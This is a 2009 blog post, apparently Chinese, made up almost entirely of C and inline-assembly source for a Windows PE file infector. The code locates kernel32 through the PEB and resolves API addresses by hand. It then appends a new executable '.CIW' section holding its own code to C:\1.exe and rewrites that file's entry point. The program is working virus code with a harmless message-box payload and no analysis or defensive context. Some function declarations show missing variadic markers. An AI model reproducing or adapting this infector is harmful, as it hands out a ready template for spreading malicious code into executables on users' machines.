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Posted on 2009-03-30 17:25 besterChen 阅读(677) 评论(0) 编辑 收藏 引用 所属分类: C/C++/STL/boost
#include <windows.h>
#pragma data_seg(".mydat")
#pragma code_seg(".shell")
#pragma const_seg(".constdata")
#pragma comment(linker,"/SECTION:.mydat,RWE")
#pragma comment(linker,"/SECTION:.shell,RWE")
#pragma comment(linker,"/SECTION:.constdata,RWE")
#pragma comment(linker,"/MERGE:.mydat=.shell")
#pragma comment(linker,"/MERGE:.constdata=.shell")
#pragma comment(linker, "/OPT:NOWIN98")
#pragma comment(linker, "/ENTRY:main")
#pragma comment(linker, "/subsystem:windows")
#define Recode(A) _asm call A _asm A: _asm pop ebx _asm lea eax, A _asm sub ebx, eax
#define GetFunOffset(pFun) _asm mov eax, [ebx + pFun] _asm mov pFun, eax
#define GetStringOffset(pStr) _asm mov eax, [pStr] _asm lea eax, [ebx + eax] _asm mov pStr, eax
#define GetGlobalVar(dwGlobalVar, dwLocalVar) _asm mov eax, [ebx + dwGlobalVar] _asm mov dwLocalVar, eax
#define GetGlobalAddr(dwGlobalVar, dwLocalVar) _asm lea eax, [ebx + dwGlobalVar] _asm mov dwLocalVar, eax
#define VA_END -2
#define DOS IMAGE_DOS_HEADER
#define NT IMAGE_NT_HEADERS
#define SEC IMAGE_SECTION_HEADER
#define MZ_FLAG 23117
#define PE_FLAG 17744
#define MY_SECTION_NAME_LENGTH 4
void GetKernellFun();
void CodeEnd() ;
int Invoke(char* pGlobalDllName, char* pGlobalFunName, char* pGlobalAgrFmt,  );
typedef HINSTANCE (WINAPI *pLoadLibraryDef)(LPCTSTR);
typedef DWORD (WINAPI *pMsgBoxDef)(DWORD,DWORD,DWORD,DWORD);
bool Strcmp(char* szSrc, char* szDes);
bool InjectPe(char* szInjectFileName, bool);
DWORD dwOldEntry = 0;
char szUser32[] = "User32.Dll";
char szMessageBox[] = "MessageBoxA";
char szKernel32[] = "Kernel32.Dll";
char szExitProcess[] = "ExitProcess";
char szText[] = "真的要运行程序吗?";
char szCaption[] = "CIW_BLUE Code";
char szLoadLibrary[] = "LoadLibraryA";
char szGetProcAddress[] = "GetProcAddress";
char szMySectionName[] = ".CIW";
DWORD dwLoadLibrary = 0;
DWORD dwGetProcAddress = 0;
char szInjectFileName[] = "C:\\1.exe";
int main()
{
Recode(A)
GetKernellFun();
DWORD dwOldAddr = 0;
char *pInjectFileName = szInjectFileName;
GetStringOffset(pInjectFileName);
GetGlobalVar(dwOldEntry, dwOldAddr);
if(Invoke("User32", "MessageBoxA", "nssn", NULL, szText, szCaption, MB_YESNO, VA_END) == IDNO)
{
Invoke(szKernel32, szExitProcess, "n", 0, VA_END);
}
InjectPe(pInjectFileName, 0);
_asm
{
cmp dwOldAddr, 0
jz NotJmp
jmp dwOldAddr
NotJmp:
}
Invoke(szKernel32, szExitProcess, "n", 0, VA_END);
return 0;
}
int Invoke(char* pGlobalDllName, char* pGlobalFunName, char* pGlobalAgrFmt, )
{
Recode(A)
char*pTempFunName = pGlobalDllName;
GetStringOffset(pGlobalDllName);
GetStringOffset(pGlobalFunName);
GetStringOffset(pGlobalAgrFmt);
DWORD dwLoadLib = 0x7c800000;
DWORD dwGetProcAddr = 0x7c800000;
GetGlobalVar(dwLoadLibrary, dwLoadLib);
GetGlobalVar(dwGetProcAddress, dwGetProcAddr);
HMODULE hDll = ((HMODULE(WINAPI*)(char*))dwLoadLib)(pGlobalDllName);
PROC dwFunAddr = ((PROC(WINAPI*)(HMODULE,char*))dwGetProcAddr)(hDll, pGlobalFunName);
DWORD dwRet = 0, j = 0;
DWORD dwParam[128], dwParamTemp = 0;
DWORD dwParamLen = 0;
va_list stVaList;
va_start(stVaList, pGlobalAgrFmt);
while((dwParam[dwParamLen++] = va_arg(stVaList,DWORD)) != VA_END);
dwParamLen -= 2;
while(dwParamLen != -1)
{
dwParamTemp = dwParam[dwParamLen];
if(pGlobalAgrFmt[dwParamLen] == 's' || pGlobalAgrFmt[dwParamLen] == 'S')
GetStringOffset(dwParamTemp);
_asm push dwParamTemp
dwParamLen--;
}
_asm mov eax, dwFunAddr
_asm call eax
_asm mov dwRet, eax
va_end(stVaList);
return dwRet;
}
void GetKernellFun()
{
Recode(A)
char* pLoadLibrary = szLoadLibrary;
char* pGetProcAddress = szGetProcAddress;
DWORD dwFuncAddr = 0;
GetStringOffset(pLoadLibrary);
GetStringOffset(pGetProcAddress);
IMAGE_DOS_HEADER* stDos;
IMAGE_NT_HEADERS* stNT;
IMAGE_DATA_DIRECTORY* stDatDir = 0;
IMAGE_EXPORT_DIRECTORY* stEPT;
DWORD dwKernelBase = 0;
_asm
{
mov eax,dword ptr fs:[30h]
mov eax,dword ptr [eax+0Ch]
mov esi,dword ptr [eax+1Ch]
lods dword ptr [esi]
mov eax,dword ptr [eax+08h]
mov dwKernelBase, eax
}
char *pBase = (char*)dwKernelBase;
stDos = (IMAGE_DOS_HEADER*)dwKernelBase;
stNT = (IMAGE_NT_HEADERS*)(pBase + stDos->e_lfanew);
stDatDir = &stNT->OptionalHeader.DataDirectory[0];
stEPT = (IMAGE_EXPORT_DIRECTORY*)(pBase + stDatDir->VirtualAddress);
DWORD* dwFunAddr = (DWORD*)(pBase + stEPT->AddressOfFunctions);
DWORD* dwAddr = (DWORD*)(pBase + stEPT->AddressOfNames);
WORD* dwAddr1 = (WORD*)(pBase + stEPT->AddressOfNameOrdinals);
for(int i = 0; i < stEPT->NumberOfNames; i++)
{
if(Strcmp(pBase + dwAddr[i], pLoadLibrary) == 0)
break;
}
dwFuncAddr = dwFunAddr[i];
_asm
{
Recode(B)
mov eax, dwFuncAddr
add eax, dwKernelBase
mov [ebx + dwLoadLibrary], eax
}
for(i = 0; i < stEPT->NumberOfNames; i++)
{
if(Strcmp(pBase + dwAddr[i], pGetProcAddress) == 0)
break;
}
dwFuncAddr = dwFunAddr[i];
_asm
{
Recode(C)
mov eax, dwFuncAddr
add eax, dwKernelBase
mov [ebx + dwGetProcAddress], eax
}
}
bool Strcmp(char* szSrc, char* szDes)
{
while(*szSrc && *szDes && *szSrc == *szDes)
{
szSrc++, szDes++;
}
return *szSrc - *szDes;
}
void Strcpy(char *szDesStr, char *szSrcStr)
{
while( *szSrcStr )
*szDesStr ++ = *szSrcStr ++;
*szDesStr = 0;
}
bool IsPeFile(PVOID pPeBase)
{
IMAGE_DOS_HEADER* stDos = (DOS*)pPeBase;
IMAGE_NT_HEADERS* stNT = (NT*)((char*)pPeBase + stDos->e_lfanew);
if(stDos->e_magic != MZ_FLAG)
return false;
if(stNT->Signature != PE_FLAG)
return false;
return true;
}
int Align(int nSize, int n)
{
if(nSize % n)
return (nSize / n + 1) * n;
return nSize;
}
bool InjectPe(char* szInjectFileName, bool bFlag)
{
Recode(A)
char* pMySectionName = szMySectionName;
DWORD dwCodeSize = (DWORD)CodeEnd - (DWORD)&dwOldEntry, dwSize = 0, dwOldEntry1 = 0, dwOldAddr = 0;
GetStringOffset(pMySectionName);
Recode(B)
GetGlobalAddr(dwOldEntry, dwOldAddr);
GetKernellFun();
HANDLE hFile = (HANDLE)Invoke("Kernel32.dll", "CreateFileA", "snnnnnn", ::szInjectFileName, GENERIC_READ | FILE_SHARE_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL, VA_END);
HANDLE hMapFile = (HANDLE)Invoke("Kernel32", "CreateFileMappingA", "nnnnnn", hFile, NULL, PAGE_READWRITE, NULL, NULL, NULL, VA_END);
PVOID pFile = (PVOID)Invoke("Kernel32", "MapViewOfFile", "nnnnnn", hMapFile, FILE_MAP_ALL_ACCESS, NULL, NULL, NULL, VA_END);
if(!pFile)
return 0;
if(!IsPeFile(pFile))
return 0;
IMAGE_NT_HEADERS* stNT = (NT*)((char*)pFile + ((DOS*)pFile)->e_lfanew);
IMAGE_SECTION_HEADER* stSec = (SEC*)((char*)pFile + ((DOS*)pFile)->e_lfanew + sizeof(NT));
for(int i = 0; i < stNT->FileHeader.NumberOfSections; i++)
if(!Strcmp((char*)stSec[i].Name, pMySectionName))
return 0;
stSec = (SEC*)((char*)pFile + ((DOS*)pFile)->e_lfanew + sizeof(NT));
IMAGE_SECTION_HEADER* stLastSec = &stSec[stNT->FileHeader.NumberOfSections - 1];
IMAGE_SECTION_HEADER* stNewSec = &stSec[stNT->FileHeader.NumberOfSections];
DWORD dwFileAlign = stNT->OptionalHeader.FileAlignment;
DWORD dwCodeAlign = stNT->OptionalHeader.SectionAlignment;
stNT->FileHeader.NumberOfSections = stNT->FileHeader.NumberOfSections + 1;
Strcpy((char*)stNewSec->Name, pMySectionName);
stNewSec->Characteristics = IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE ;
stNewSec->VirtualAddress = stLastSec->VirtualAddress + Align(stLastSec->Misc.VirtualSize, dwCodeAlign);
stNewSec->PointerToRawData = stLastSec->PointerToRawData + stLastSec->SizeOfRawData;
stNewSec->SizeOfRawData = Align(dwCodeSize, dwFileAlign);
stNewSec->Misc.VirtualSize = Align(dwCodeSize, dwCodeAlign);
stNT->OptionalHeader.SizeOfCode += stNewSec->Misc.VirtualSize;
stNT->OptionalHeader.SizeOfImage += stNewSec->Misc.VirtualSize;
Invoke("Kernel32", "SetFilePointer", "nnnn", hFile, stNewSec->PointerToRawData, NULL, FILE_BEGIN, VA_END);
Invoke("Kernel32", "WriteFile", "nnnnn", hFile, dwOldAddr, stNewSec->Misc.VirtualSize, &dwSize, NULL, VA_END);
Invoke("Kernel32", "SetEndOfFile", "n", hFile, VA_END);
dwOldEntry1 = stNT->OptionalHeader.AddressOfEntryPoint + stNT->OptionalHeader.ImageBase;
Invoke("Kernel32", "SetFilePointer", "nnnn", hFile, stNewSec->PointerToRawData, NULL, FILE_BEGIN, VA_END);
Invoke("Kernel32", "WriteFile", "nnnnn", hFile, &dwOldEntry1 , 4, &dwSize, NULL, VA_END);
stNT->OptionalHeader.AddressOfEntryPoint = stNewSec->VirtualAddress + (DWORD)main - (DWORD)&dwOldEntry;
Invoke("Kernel32", "FlushViewOfFile", "nn", pFile, stNT->OptionalHeader.SizeOfHeaders, VA_END);
Invoke("Kernel32", "UnmapViewOfFile", "n", pFile, VA_END);
Invoke("Kernel32", "CloseHandle", "n", hMapFile, VA_END);
Invoke("Kernel32", "CloseHandle", "n", hFile, VA_END);
return true;
}
void CodeEnd()
{
}
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